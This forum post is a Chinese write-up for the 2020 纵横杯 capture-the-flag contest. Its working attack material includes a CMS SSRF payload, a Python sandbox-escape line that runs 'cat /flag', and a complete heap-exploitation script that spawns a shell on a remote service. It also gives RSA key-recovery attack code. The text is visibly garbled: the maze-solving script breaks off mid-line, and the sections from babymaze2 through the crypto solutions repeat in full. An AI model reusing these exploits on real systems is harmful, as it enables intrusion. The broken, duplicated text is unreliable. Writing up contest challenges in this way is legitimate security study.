安全矩阵

 找回密码
 立即注册
搜索
查看: 6689|回复: 0

纵横杯2020 部分WriteUp

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-6 10:07:36 | 显示全部楼层 |阅读模式
原文链接:纵横杯2020 部分WriteUp


纵横杯


Web

ezcms

①打开网站然后一个目录扫描和基础的查看这个cms的信息
扫描到一个备份文件www.zip和admin后台和一些没有用的



②开始看这个www.zip文件
在配置文件里面找到了后台登录的账号与密码



拿着这个账号和密码进入后台
成功进入后台
在第一步扫目录的同时搜集了一些关于这个cms的信息
后面发觉在模块采集处,存在一个ssrf漏洞



进行利用



然后在自己的网站中进行构造读取

<cs><a href="httpx://../../../../flag">123</a></cs>

构造httpx://原因:只允许http或者https的协议导致,因此只能代http的读取,但只用http发觉却读取不出来flag,因此添加一个多余x或者其他的变量绕过
进行采集即成功获取flag






Misc


签到题
打开题目,给了一串这个

[0146, 0154, 0141, 0147, 0173, 0167, 063, 0154, 0143, 0157, 0155, 0145, 0137, 0164, 0157, 0137, 062, 0157, 0156, 0147, 0137, 0150, 063, 0156, 0147, 0137, 0142, 0145, 061, 0175]

其中的元素最大数是7最小是0,推测是8进制编码
把它换成10进制,然后转成字符,得到flag

调查问卷
关注一个微信号,然后填几个选项(你擅长那类题目难,经常参加比赛之类的),填完后,点提交一串 flag就出现在屏幕前了




babymaze1
题目有个提示: flag在某一个大小的迷宫后得到
每次 maze 的大小会逐渐变大
第四关 就是它指定的大小了

首先接收maze地图,然后走迷宫,从'*'走到'$',过4关就得到flag

手动的话,会提示速度太慢,所以得用脚本,让它自己走迷宫
  1. #coding:utf-8
  2. from pwn import *

  3. context.log_level='debug'
  4. dirs=[(0,1),(1,0),(0,-1),(-1,0)]
  5. path=[]
  6. steps=''
  7. def mark(maze,pos):
  8.     maze[pos[0]][pos[1]]=2

  9. def passable(maze,pos):
  10.     return maze[pos[0]][pos[1]]==0

  11. def find_path(maze,pos,end,step=''):
  12.     mark(maze,pos)
  13.     if pos==end:
  14.         global steps
  15.         
  16.         path.append(pos)
  17.         steps=step
  18.         return True
  19.     for i in range(4):
  20.         nextp=pos[0]+dirs[i][0],pos[1]+dirs[i][1]
  21.         #考虑下一个可能方向
  22.         if passable(maze,nextp):
  23.             if find_path(maze,nextp,end,step+'dsaw'[i]):
  24.                 #print(pos,end=" ")
  25.                 path.append(pos)
  26.                 return True

  27. p = remote('182.92.203.154', 11001)
  28. p.recvuntil("key to start.")
  29. p.sendline("")
  30. while(True):
  31.     p.recvuntil("\n")
  32.     buf=p.recvuntil(">")
  33.     maze=[]
  34.     data=buf.decode().split('\n')
  35.     for i in range(len(data)):
  36.         linedata=[]
  37.         for j in range(len(data[i])):
  38.             if data[i][j]=='#':
  39.                 linedata.append(1)
  40.             else:
  41.                 if data[i][j]=='*':
  42.                     start=(i,j)
  43.                 if data[i][j]=='
  44. [size=20px][b]★[/b][b][b]babymaze2_beta[/b][/b][/size][code]__import__('os').system('cat /flag')
复制代码

★马赛克使用工具Depix
  1. https://github.com/beurtschipper/Depix
  2. https://blog.csdn.net/qq_43439968/article/details/111464781
复制代码

这样执行



会执行 2分钟  就出来 flag了


flag{0123468abd68abd0123}



PWN

★wind_farm_panel
add和edit函数存在漏洞,可以溢出,并且没有free函数。
考的house of orange,并且跟经典的house of orange原题也很相似。

直接上手调试和写exp
  1. #!/usr/bin/env python
  2. # encoding: utf-8
  3. from pwn import *
  4. import time
  5. local_file  = './pwn'
  6. elf = ELF(local_file)
  7. context.log_level = 'debug'
  8. context.arch = elf.arch
  9. context.terminal = ['tmux','neww']
  10. #,''splitw','-h'
  11. arae16 = 0x3c4b78
  12. arae18 = 0x3ebca0
  13. s      = lambda data               :io.send(data)
  14. sa      = lambda delim,data         :io.sendafter(delim, data)
  15. sl      = lambda data               :io.sendline(data)
  16. sla     = lambda delim,data         :io.sendlineafter(delim, data)
  17. r      = lambda numb=4096          :io.recv(numb)
  18. ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
  19. uu32    = lambda data               :u32(data.ljust(4, '\0'))
  20. uu64    = lambda data               :u64(data.ljust(8, '\0'))
  21. info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
  22. itr     = lambda                    :io.interactive()
  23. debug = 0
  24. if debug:
  25.     io = process(local_file)
  26.     libc = elf.libc
  27. else:
  28.     io = remote('182.92.203.154',28452)
  29.     libc = elf.libc
  30.     #libc = ELF('.')
  31. def debug():
  32.     # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
  33.     gdb.attach(io)
  34.     pause()

  35. def add(idx,size,data):
  36.     sla('>','1')
  37.     sla('):',str(idx))
  38.     sla('e:',str(size))
  39.     sa('name:',str(data))

  40. def edit(idx,data):
  41.     sla('>','3')
  42.     sla('hich',str(idx))
  43.     sa('in',str(data))

  44. def show(idx):
  45.     sla('>','2')
  46.     sla('to be viewed',str(idx))


  47. add(0,0x438,'chumen77')
  48. # debug()
  49. payload = 'a' * 0x430 + p64(0) +p64(0xbc1)
  50. edit(0,payload)
  51. # debug()
  52. add(1,0x1000,'chumen77')
  53. add(2,0x438,'chumen77')

  54. show(2)
  55. ru('chumen77')
  56. main_arena_addr = uu64(r(6)) - 0x628
  57. info_addr('main_arena_addr',main_arena_addr)
  58. libc_addr = main_arena_addr - 0x3c4b20
  59. info_addr('libc',libc_addr)

  60. edit(2,'chumen77chumen88')
  61. show(2)
  62. ru('chumen88')
  63. heap_addr = uu64(r(6)) - 0x440
  64. info_addr('heap_base',heap_addr)


  65. # debug()

  66. layout = [
  67.     'd' * 0x430,
  68.     # top_chunk
  69.     '/bin/sh\0', p64(0x61),
  70.     p64(0), p64(main_arena_addr + 0xa00 - 0x10),
  71.     p64(2), p64(3),
  72.     'z' * 8, p64(0),
  73.     p64(0), p64(libc_addr + libc.symbols['system']),

  74.     'e' * 0x38,p64(libc_addr + libc.symbols['system']),
  75.     'e' * 0x30,
  76.     p64(0), p64(0), # 0xc0

  77.     p64(0), p64(heap_addr + 0x8f0)
  78. ]

  79. edit(2, flat(layout))

  80. sla('>','1')
  81. sla('):',str(3))
  82. sla('e:',str(900))

  83. # debug()
  84. itr()
复制代码

flag 值

flag{ae046acd81da8be3bd54a25887e80b55}




Crypto

★digits_missing
首先通过 dp 和 dq 算出 padding
知道 p q 也能直接算出 flag[1] 和 flag[2]
接着由于 flag 是 uuid,只包含 [0-9a-f]
因此可以通过中间相遇攻击在较短时间内求得 flag[0]
  1. import itertools
  2. from Crypto.Util.number import *

  3. p = 8652390958861741435444627047576503554063739935043923776101303146382894597047179400211376204501335462644199685775560596374016398617315983998885273252232383
  4. q = 11398271496284943396462023942239673376393494680988625153067750611899511451472208462647358820098737289431021205366418955146690406049973272066743297095335701
  5. dp = 8227609008398873022400100032341316575069340356351334917468390748158625965488292971381161571649777894379178019250723450517822383161853535988801155974245829
  6. dq = 617211540838331845453037224433458963099456992985736058430698238900631773989787292432368601561591831465287703203840756371539826467039309120629989472610731
  7. c1 = 47136490736007026558241813301582050934441405175571329460613503012332065445341605765747908505286660131226561805265807633529290854688982152443879376327826248561833249864461425952747897175255546352471407983593816589373742238086560879516048675503364687914498582870324744857141831219402137460273880044886984405452
  8. c2 = 56409941327407928550531590953236316964802997285515886345082618240072551829663483576336544664403443682438280485868042844696756568731554243773790500024504963753053241086872006291605136092928526547169334420024477141471212559780737725850766070778466019859345735742281733141983853509548060639633435609434590536531
  9. c3 = 65058860021739531727088022149052143280404687999094594643616981645096271253997738526846930648540908395636973922952920134720525905860923697049859869913222811090573640409885098897352875692221136178538186740234898374169996494317972403060810936762924806513049343486713829518722226110983873658650785406820898700651
  10. c4 = 32982466289233591258768165759927834475634992737248170434422994518702136286193176584067227438086450612500847996564720817106569494236142428184048889837042556370038553603123311299352611462708505050577773451291827498889210800170157619474074829930128950482157454573988753054631832302454833608646278214673705352226

  11. mp = pow(c1, dp, p)
  12. mq = pow(c1, dq, q)
  13. padding = (mp + p * (((mp - mq) * inverse(p, q)) % q)) % (p * q)

  14. n = p * q
  15. m1_plus_m2 = (padding >> 256) + (padding & (2 ** 256 - 1))

  16. mitm = {}
  17. alphabet = '0123456789abcdef'
  18. alphabet = [ord(_) for _ in alphabet]
  19. for i, j, k, l in itertools.product(alphabet, repeat=4):
  20.     e1 = (i << 24) + (j << 16) + (k << 8) + l
  21.     tmp = c2 * inverse(pow(m1_plus_m2, e1, n), n) % n
  22.     mitm[tmp] = e1

  23. for i, j, k, l in itertools.product(alphabet, repeat=4):
  24.     e2 = (i << 24) + (j << 16) + (k << 8) + l
  25.     tmp = pow(m1_plus_m2, e2, n)
  26.     if tmp in mitm:
  27.         e1 = mitm[tmp]
  28.         a = (e1 << 32) + e2
  29.         if pow(a, a, n) == c3:
  30.             c = pow(c4, inverse(0x10001, (p-1) * (q-1)), n)
  31.             mbar = (a << (512 + 24 * 8)) + (padding << (24 * 8)) + (c << (16 * 8))
  32.             print(mbar)
  33.             break
复制代码
还剩下 flag[3] 和 flag[4] 共计 128 bit 未知
Known High Bits Message Attack 未知的位数有点多,但爆破 2 个字符就够了


  1. import itertools
  2. from Crypto.Util.number import *

  3. e = 5
  4. n = 117748526248625603136351142766702204100236020660530366220791523773556022688543102946994917484678907692740314580746055286084348066502206905265752560353316613182375867778005737716910384438378102771898539357644605407585140993539708961209892736485222242671952840176226813623119643604701373240666050114195876590147
  5. c = 11808273710504985443774404922628957257282747551484241545715693957153834727214995382868148041169819735282602593341730142167762213843046458242397247585755571045197205530638559439590698610690145211653032525642896154923181980344419031242307181446338164880957117881613097177678720633802107664174510977184795898949

  6. mbar = 347984738531291539635534295934145345278352693702136405391638199920780195032699626127755592120997925077241577866781481402390663045346526372281113681247501592962628355383273670934921896972569354633137757192957157936178381675544182784

  7. alphabet = '0123456789abcdef'
  8. alphabet = [ord(_) for _ in alphabet]
  9. kbits = 8 * 14
  10. PR.<x> = PolynomialRing(Zmod(n))
  11. for i, j in itertools.product(alphabet, repeat=2):
  12.     m0 = mbar + (i * 2**(kbits + 8)) + (j * 2**kbits)
  13.     f = (x + m0)**e - c
  14.     roots = f.small_roots(X=2**kbits, beta=1)
  15.     if roots:
  16.         x0 = roots[0]
  17.         m = x0 + m0
  18.         print(m)
  19.         m = long_to_bytes(m)
  20.         flag = 'flag{%s-%s-%s-%s-%s}' % (m[:8], m[72: 76], m[76: 80], m[80:84], m[84:])
  21.         print(flag)
  22.         break
复制代码

★common
Extending Wiener's Attack
  1. from Crypto.Util.number import *

  2. e1 = 28720970875923431651096339432854172528258265954461865674640550905460254396153781189674547341687577425387833579798322688436040388359600753225864838008717449960738481507237546818409576080342018413998438508242156786918906491731633276138883100372823397583184685654971806498370497526719232024164841910708290088581
  3. e2 = 131021266002802786854388653080729140273443902141665778170604465113620346076511262124829371838724811039714548987535108721308165699613894661841484523537507024099679248417817366537529114819815251239300463529072042548335699747397368129995809673969216724195536938971493436488732311727298655252602350061303755611563
  4. N = 159077408219654697980513139040067154659570696914750036579069691821723381989448459903137588324720148582015228465959976312274055844998506120677137485805781117564072817251103154968492955749973403646311198170703330345340987100788144707482536112028286039187104750378366564167383729662815980782817121382587188922253

  5. a = 0.356  # 731./2049
  6. M1 = N**0.5
  7. M2 = N**(a+1)
  8. D = diagonal_matrix(ZZ, [N, M1, M2, 1])
  9. M = matrix(ZZ, [[1 ,-N, 0, N**2], [0, e1, -e1, -e1*N], [0, 0, e2, -e2*N], [0, 0, 0, e1*e2]]) * D
  10. L = M.LLL()
  11. t = vector(ZZ, L[0])
  12. x = t * M**(-1)
  13. phi = int(x[1] / x[0] * e1)

  14. c1 =  147383746603848042108219916188925964190877894646416905078759356963920791554909084587353864410434867616520599541724214423887338048379538617484001531927026040908142094666959652208069647479514387076263968309816884304927341587107159141210506145053198719975005775005274571665354240626752783282908448870822050388529
  15. c2 =  155783397458536831316133290736835741378524087226697295652024634088245958604194732843721496071056242698573290328198436663238464610252966184081832082684869406628687893195211371466055335304235640081623133593289012395189058297937940640976756989920913669330059308215775508555359328200250347355706265949431881971141

  16. d1 = inverse(e1, phi)
  17. d2 = inverse(e2, phi)
  18. m1 = pow(c1, d1, N)
  19. m2 = pow(c2, d2, N)
  20. print(long_to_bytes(m1) + long_to_bytes(m2))
复制代码









:
                    end=(i,j)
                linedata.append(0)
        maze.append(linedata)
#    print(maze)
    find_path(maze,start,end)
#    see_path(maze,path)
    p.sendline(steps)
p.interactive()[/code]
babymaze2_beta
  1. __import__('os').system('cat /flag')
复制代码

★马赛克使用工具Depix
  1. https://github.com/beurtschipper/Depix
  2. https://blog.csdn.net/qq_43439968/article/details/111464781
复制代码

这样执行



会执行 2分钟  就出来 flag了


flag{0123468abd68abd0123}



PWN

★wind_farm_panel
add和edit函数存在漏洞,可以溢出,并且没有free函数。
考的house of orange,并且跟经典的house of orange原题也很相似。

直接上手调试和写exp
  1. #!/usr/bin/env python
  2. # encoding: utf-8
  3. from pwn import *
  4. import time
  5. local_file  = './pwn'
  6. elf = ELF(local_file)
  7. context.log_level = 'debug'
  8. context.arch = elf.arch
  9. context.terminal = ['tmux','neww']
  10. #,''splitw','-h'
  11. arae16 = 0x3c4b78
  12. arae18 = 0x3ebca0
  13. s      = lambda data               :io.send(data)
  14. sa      = lambda delim,data         :io.sendafter(delim, data)
  15. sl      = lambda data               :io.sendline(data)
  16. sla     = lambda delim,data         :io.sendlineafter(delim, data)
  17. r      = lambda numb=4096          :io.recv(numb)
  18. ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
  19. uu32    = lambda data               :u32(data.ljust(4, '\0'))
  20. uu64    = lambda data               :u64(data.ljust(8, '\0'))
  21. info_addr = lambda tag, addr        :io.info(tag + '==&gt;' +': {:#x}'.format(addr))
  22. itr     = lambda                    :io.interactive()
  23. debug = 0
  24. if debug:
  25.     io = process(local_file)
  26.     libc = elf.libc
  27. else:
  28.     io = remote('182.92.203.154',28452)
  29.     libc = elf.libc
  30.     #libc = ELF('.')
  31. def debug():
  32.     # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
  33.     gdb.attach(io)
  34.     pause()

  35. def add(idx,size,data):
  36.     sla('&gt;','1')
  37.     sla('):',str(idx))
  38.     sla('e:',str(size))
  39.     sa('name:',str(data))

  40. def edit(idx,data):
  41.     sla('&gt;','3')
  42.     sla('hich',str(idx))
  43.     sa('in',str(data))

  44. def show(idx):
  45.     sla('&gt;','2')
  46.     sla('to be viewed',str(idx))


  47. add(0,0x438,'chumen77')
  48. # debug()
  49. payload = 'a' * 0x430 + p64(0) +p64(0xbc1)
  50. edit(0,payload)
  51. # debug()
  52. add(1,0x1000,'chumen77')
  53. add(2,0x438,'chumen77')

  54. show(2)
  55. ru('chumen77')
  56. main_arena_addr = uu64(r(6)) - 0x628
  57. info_addr('main_arena_addr',main_arena_addr)
  58. libc_addr = main_arena_addr - 0x3c4b20
  59. info_addr('libc',libc_addr)

  60. edit(2,'chumen77chumen88')
  61. show(2)
  62. ru('chumen88')
  63. heap_addr = uu64(r(6)) - 0x440
  64. info_addr('heap_base',heap_addr)


  65. # debug()

  66. layout = [
  67.     'd' * 0x430,
  68.     # top_chunk
  69.     '/bin/sh\0', p64(0x61),
  70.     p64(0), p64(main_arena_addr + 0xa00 - 0x10),
  71.     p64(2), p64(3),
  72.     'z' * 8, p64(0),
  73.     p64(0), p64(libc_addr + libc.symbols['system']),

  74.     'e' * 0x38,p64(libc_addr + libc.symbols['system']),
  75.     'e' * 0x30,
  76.     p64(0), p64(0), # 0xc0

  77.     p64(0), p64(heap_addr + 0x8f0)
  78. ]

  79. edit(2, flat(layout))

  80. sla('&gt;','1')
  81. sla('):',str(3))
  82. sla('e:',str(900))

  83. # debug()
  84. itr()
复制代码

flag 值

flag{ae046acd81da8be3bd54a25887e80b55}




Crypto

★digits_missing
首先通过 dp 和 dq 算出 padding
知道 p q 也能直接算出 flag[1] 和 flag[2]
接着由于 flag 是 uuid,只包含 [0-9a-f]
因此可以通过中间相遇攻击在较短时间内求得 flag[0]
  1. import itertools
  2. from Crypto.Util.number import *

  3. p = 8652390958861741435444627047576503554063739935043923776101303146382894597047179400211376204501335462644199685775560596374016398617315983998885273252232383
  4. q = 11398271496284943396462023942239673376393494680988625153067750611899511451472208462647358820098737289431021205366418955146690406049973272066743297095335701
  5. dp = 8227609008398873022400100032341316575069340356351334917468390748158625965488292971381161571649777894379178019250723450517822383161853535988801155974245829
  6. dq = 617211540838331845453037224433458963099456992985736058430698238900631773989787292432368601561591831465287703203840756371539826467039309120629989472610731
  7. c1 = 47136490736007026558241813301582050934441405175571329460613503012332065445341605765747908505286660131226561805265807633529290854688982152443879376327826248561833249864461425952747897175255546352471407983593816589373742238086560879516048675503364687914498582870324744857141831219402137460273880044886984405452
  8. c2 = 56409941327407928550531590953236316964802997285515886345082618240072551829663483576336544664403443682438280485868042844696756568731554243773790500024504963753053241086872006291605136092928526547169334420024477141471212559780737725850766070778466019859345735742281733141983853509548060639633435609434590536531
  9. c3 = 65058860021739531727088022149052143280404687999094594643616981645096271253997738526846930648540908395636973922952920134720525905860923697049859869913222811090573640409885098897352875692221136178538186740234898374169996494317972403060810936762924806513049343486713829518722226110983873658650785406820898700651
  10. c4 = 32982466289233591258768165759927834475634992737248170434422994518702136286193176584067227438086450612500847996564720817106569494236142428184048889837042556370038553603123311299352611462708505050577773451291827498889210800170157619474074829930128950482157454573988753054631832302454833608646278214673705352226

  11. mp = pow(c1, dp, p)
  12. mq = pow(c1, dq, q)
  13. padding = (mp + p * (((mp - mq) * inverse(p, q)) % q)) % (p * q)

  14. n = p * q
  15. m1_plus_m2 = (padding &gt;&gt; 256) + (padding &amp; (2 ** 256 - 1))

  16. mitm = {}
  17. alphabet = '0123456789abcdef'
  18. alphabet = [ord(_) for _ in alphabet]
  19. for i, j, k, l in itertools.product(alphabet, repeat=4):
  20.     e1 = (i &lt;&lt; 24) + (j &lt;&lt; 16) + (k &lt;&lt; 8) + l
  21.     tmp = c2 * inverse(pow(m1_plus_m2, e1, n), n) % n
  22.     mitm[tmp] = e1

  23. for i, j, k, l in itertools.product(alphabet, repeat=4):
  24.     e2 = (i &lt;&lt; 24) + (j &lt;&lt; 16) + (k &lt;&lt; 8) + l
  25.     tmp = pow(m1_plus_m2, e2, n)
  26.     if tmp in mitm:
  27.         e1 = mitm[tmp]
  28.         a = (e1 &lt;&lt; 32) + e2
  29.         if pow(a, a, n) == c3:
  30.             c = pow(c4, inverse(0x10001, (p-1) * (q-1)), n)
  31.             mbar = (a &lt;&lt; (512 + 24 * 8)) + (padding &lt;&lt; (24 * 8)) + (c &lt;&lt; (16 * 8))
  32.             print(mbar)
  33.             break
复制代码
还剩下 flag[3] 和 flag[4] 共计 128 bit 未知
Known High Bits Message Attack 未知的位数有点多,但爆破 2 个字符就够了


  1. import itertools
  2. from Crypto.Util.number import *

  3. e = 5
  4. n = 117748526248625603136351142766702204100236020660530366220791523773556022688543102946994917484678907692740314580746055286084348066502206905265752560353316613182375867778005737716910384438378102771898539357644605407585140993539708961209892736485222242671952840176226813623119643604701373240666050114195876590147
  5. c = 11808273710504985443774404922628957257282747551484241545715693957153834727214995382868148041169819735282602593341730142167762213843046458242397247585755571045197205530638559439590698610690145211653032525642896154923181980344419031242307181446338164880957117881613097177678720633802107664174510977184795898949

  6. mbar = 347984738531291539635534295934145345278352693702136405391638199920780195032699626127755592120997925077241577866781481402390663045346526372281113681247501592962628355383273670934921896972569354633137757192957157936178381675544182784

  7. alphabet = '0123456789abcdef'
  8. alphabet = [ord(_) for _ in alphabet]
  9. kbits = 8 * 14
  10. PR.&lt;x&gt; = PolynomialRing(Zmod(n))
  11. for i, j in itertools.product(alphabet, repeat=2):
  12.     m0 = mbar + (i * 2**(kbits + 8)) + (j * 2**kbits)
  13.     f = (x + m0)**e - c
  14.     roots = f.small_roots(X=2**kbits, beta=1)
  15.     if roots:
  16.         x0 = roots[0]
  17.         m = x0 + m0
  18.         print(m)
  19.         m = long_to_bytes(m)
  20.         flag = 'flag{%s-%s-%s-%s-%s}' % (m[:8], m[72: 76], m[76: 80], m[80:84], m[84:])
  21.         print(flag)
  22.         break
复制代码

★common
Extending Wiener's Attack
  1. from Crypto.Util.number import *

  2. e1 = 28720970875923431651096339432854172528258265954461865674640550905460254396153781189674547341687577425387833579798322688436040388359600753225864838008717449960738481507237546818409576080342018413998438508242156786918906491731633276138883100372823397583184685654971806498370497526719232024164841910708290088581
  3. e2 = 131021266002802786854388653080729140273443902141665778170604465113620346076511262124829371838724811039714548987535108721308165699613894661841484523537507024099679248417817366537529114819815251239300463529072042548335699747397368129995809673969216724195536938971493436488732311727298655252602350061303755611563
  4. N = 159077408219654697980513139040067154659570696914750036579069691821723381989448459903137588324720148582015228465959976312274055844998506120677137485805781117564072817251103154968492955749973403646311198170703330345340987100788144707482536112028286039187104750378366564167383729662815980782817121382587188922253

  5. a = 0.356  # 731./2049
  6. M1 = N**0.5
  7. M2 = N**(a+1)
  8. D = diagonal_matrix(ZZ, [N, M1, M2, 1])
  9. M = matrix(ZZ, [[1 ,-N, 0, N**2], [0, e1, -e1, -e1*N], [0, 0, e2, -e2*N], [0, 0, 0, e1*e2]]) * D
  10. L = M.LLL()
  11. t = vector(ZZ, L[0])
  12. x = t * M**(-1)
  13. phi = int(x[1] / x[0] * e1)

  14. c1 =  147383746603848042108219916188925964190877894646416905078759356963920791554909084587353864410434867616520599541724214423887338048379538617484001531927026040908142094666959652208069647479514387076263968309816884304927341587107159141210506145053198719975005775005274571665354240626752783282908448870822050388529
  15. c2 =  155783397458536831316133290736835741378524087226697295652024634088245958604194732843721496071056242698573290328198436663238464610252966184081832082684869406628687893195211371466055335304235640081623133593289012395189058297937940640976756989920913669330059308215775508555359328200250347355706265949431881971141

  16. d1 = inverse(e1, phi)
  17. d2 = inverse(e2, phi)
  18. m1 = pow(c1, d1, N)
  19. m2 = pow(c2, d2, N)
  20. print(long_to_bytes(m1) + long_to_bytes(m2))
复制代码









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 19:26 , Processed in 0.016710 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表